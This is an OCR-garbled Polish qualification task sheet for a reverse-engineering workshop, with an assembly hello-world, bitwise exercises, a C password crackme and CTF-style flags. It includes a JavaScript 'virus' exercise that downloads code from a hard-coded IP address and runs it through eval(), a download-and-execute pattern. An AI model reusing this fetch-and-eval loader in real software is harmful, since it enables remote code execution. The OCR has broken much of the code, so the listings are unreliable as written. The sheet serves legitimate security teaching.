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Ostateczna wersje rozwiazan zadan kwalifikacyjnych prosze przesta¢ do mnie drogg mailowa w formacie
pdf, w terminie podanym na stronie WWW. Goraco zachecam do wcze$niejszego przestania rozwiazan zadan
— bede wtedy w stanie powiedzie¢, co jest Zle i podpowiedzie¢ jak dopracowa¢ finalng wersje. Nie wymagam
wykonania duzej ilosci zadan — wieksza ich ilos¢ wymagana bedzie dopiero przy duzej ilosci uczestnikow. Tak
wiec przedlij to co udato Ci sie wykonaé. Jezeli cos nie jest jasne, masz watpliwosci odno$nie pewnego zadania
to nie krepuj sie i napisz do mnie dowolnym $rodkiem komunikacji - z checia wytlumacze lub nakieruje na
literature. Paczke zawierajaca kody zrédlowe programow zataczonych w ponizszych zadaniach mozna pobraé
tutaj.

1 Uwaga odno$nie korzystania z Windowsa

Na warsztatach skupimy sie wyltacznie na analizie programéw dzialajacych na Linuxie. Pomimo ze $rodo-
wisko do statycznej analizy programow z ktorego bedziemy korzystali dziala zaréwno pod Linuxem jak i
Windowsem to goraco zachecam do korzystania z Linuxa ze wzgledu na mozliwo$¢ bezposredniego urucho-
mienia analizowanego programu czy tez jego analizy dynamicznej przy uzyciu GDB + odpowiednich naktadek
na Ul Dlatego zachecam do zainstalowania dystrybucji Linuxa na swoim komputerze w konfiguracji dual
boot (wybdr systemu przy starcie komputera), np. Linux Mint, Antergos, Ubuntu.

2 Dlaczego chcesz uczestniczy¢ w tych warsztatach? - Obowigzko-
WO

Odpowiedz na to pytanie Scisle i zwiezle. Nie jest to zadanie typu ”Gdybys byl owocem, to jakim? Uzasadnij
twoje stanowisko na minimalnie dwudziestu stronach A4” - oczekujemy tylko krotkiego opisu.

3 Assembler — Instalacja i Przetestowanie

Polecam assembler yasm (http://yasm.tortall.net/Download.html), ale zadziala takze nasm, fasm, lub
jakikolwiek inny, jezeli znasz jego skladnie. Zainstaluj assembler, zassembluj podany ponizej program i go
uruchom na Linuxie, pokaz screenshoty. Nie przejmuj sie, jezeli nie rozumiesz tego kodu — chodzi tylko o
sprawdzenie narzedzia, podstawy assemblera wyjasnie na poczatku warsztatow.

;3 hello64.asm
segment .data
msg db , OAh

segment .text
global _start

_start:
; write
mov rax, 1
mov rdi, 1
mov rsi, msg
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mov rdx, 13

syscall

; exit
mov rax, 60
xor rdi, O
syscall

Komenda do zassemblowania: yasm -f elf64 -o hello64.0 hello64.asm
Komenda do zlinkowania: 1d hello64.0 -o hello64
Komenda do uruchomienia: ./hello64

4 Operacje logiczne

Odpowiedz na pytania i rozwiaz ponizsze réwnania.

4.1 W jaki spos6b mozna odejmowaé uzywajac dodawania?

Dodawanie na bramkach logicznych jest o wiele tatwiejsze do zrealizowania niz odejmowanie. A wiec w jaki
sposéb uzywajac operacji logicznych typu and, xor, or ... uzyska¢ odejmowanie dwoch liczb binarnych majac
uktad dodajacy dwie liczby binarne do siebie?

Porada: Poczytaj o reprezentacjach binarnych liczb ze znakiem.

4.2 Operacje bitowe

Masz do dyspozycji 8-bitowa zmienng liczbowg bez znaku o nazwie Adam. Zaproponuj dzialania dzieki
ktérych ustawisz i-ty bit Adama na 1 oraz j-ty bit Adama na 0. W jaki sposéb sprawdzié czy n-ty bit Adama
jest jedynka?

Oblicz na kartce(bez pomocy komputera) ponizsze dwa dzialania:
((24 and 101) or (132 xor 241)) nor 5 = ?
(123 xor 153) xor (246 and 235) = ?

5 Analiza kodu w C

Ponizszy kod prosi uzytkownika o podanie hasta. Twoim zadaniem jest ustalenie dla jakiego hasta na wejsciu
program uzna ze hasto jest poprawne.

#include<random>

#include<iostream>

#include<cstdint>

#include<string>

#define x (((2>>57y<<2)+(y>>372<<4)) "~ ((s"y)+(k[(p&3)~el”2)))

void a(uint32_t *v, int n, uint32_t k[4]){uint32_t y,z,s;unsigned p,r,e;r=6+52/n;
s=r*0x9e3779b9;y=v[0];do{e=(s>>2)&3; for(p=n-1;p>0;p--){z=vlp-1];y=vIpl-=x;}z=v[n-1];
y=v[0]-=x;s-=0x9e3779b9;}while(--r) ;}unsigned char h[] =

; using namespace std; int main(){string s;cout <<
,cin >> s,srand(42);int k[]J={rand(),rand(),rand(),rand()};
cout<<(a((uint32_t*)h,14, (uint32_t*)k),((s==string((const char*)h))?
: ));return 0;}

Kompilacja programu odbywa sie poleceniem:

g++ -o <nazwa pliku wyjsciowego> <kod zrodlowy>

Rozwiazaniem zadania jest:



1. Co zrobiles by zrozumie¢ powyzszy kod?

2. W duzym skrécie bez szczegétow — W jaki sposdb powyzszy kod sprawdza hasto?

w

. Podaj haslo ktére po wczytaniu przez program jest indentyfikowane jako poprawne.

S

. Czy da sie odnalez¢ poprawne hasto bez analizy powyzszego kodu?

6 Analiza ”Wirusa” Javascriptowego - Obowigzkowo wymagam
Slad dziatalnosci - nie wymagam znajomosci JS

Jak w opisie warsztatéw wspomniatem twércy wiruséw stosuja réznorakie techniki aby utrudnié ich analize -
czasami malo skutecznie. Ponizszy program napisany w JS stuzy do pobrania prawdziwego kodu "wirusa” z
internetu tak aby upewnic sie ze nikt go nie wykradnie. Ponizszy "wirus” nie jest szkodliwy - stuzy on jedynie
do sprawdzenia czy podane hasto jest poprawne tak jak w poprzednim zadaniu — jezeli macie watpliwosci
co do tego, to mozna uruchomié¢ ponizszy kod na maszynie wirtualnej (VirtualBox, Quemu, ...). Twoim
zadaniem bedzie analiza ponizszego “wirusa”, wykradzienie Scigganego z internetu kodu zZrédlowego oraz
stwierdzenie dla jakiego hasta skrypt twierdzi ze hasto jest poprawne.

function sprawdz_czy_dobre_haslo (STAPH, RIGHT_NOW) {
var javascript = require('request');
javascript.get('http://13.58.99.92"',
function(error, response, wat_r_u_doin) {
var JAVASCRIPT = eval(wat_r_u_doin);
JAVASCRIPT (STAPH, RIGHT_NOW);

B
}
haslo = "Tutaj wpisz haslo ktore chcesz sprawdzic"
sprawdz_czy_dobre_haslo(haslo, function(ret) {
if (ret)q{
console.log("Haslo jest dobre")
} else {
console.log("Bledne haslo");
}
b

Do uruchomienia powyzszego programu potrzebny jest nodejs oraz npm - upewnij sie ze oba programy
sa zainstalowane i w katalogu z skryptem wywotaj polecenie:

’npm install request

Nastepnie mozliwe bedzie uruchomienie powyzszego programu za pomoca polecenia:

’node <nazwa skryptu>

Rozwiazaniem zadania jest:

1. Zadanie jest wieloetapowe i do zdobycia po drodze jest kilka flag — sa to ciagi znakéw zaczynajace
sie na "WWW14{” i koniczace si¢ znakiem ”}”. Znajduja si¢ one w przesylanym przez serwer kodzie.
Przedlij w rozwiazaniu zdobyte flagi.

2. Przesdlij zdobyty kod "wirusa”.

Opisz na wysokim poziomie w jaki sposéb ten "wirus” taduje sie z internetu.

- W

Opisz co dzieje sie po zaladowaniu w catosci "wirusa” - w jaki sposéb sprawdzane jest hasto.

5. Podaj hasto ktére powyzszy program uzna za poprawne.



Jezeli w jakims$ miejscu nie dajesz rady - napisz do mnie - w zamian za

przystanie opisu co zrobite$ do tej pory odsytam hinty.

Powodzenia i do zobaczenia w Zabrzu!
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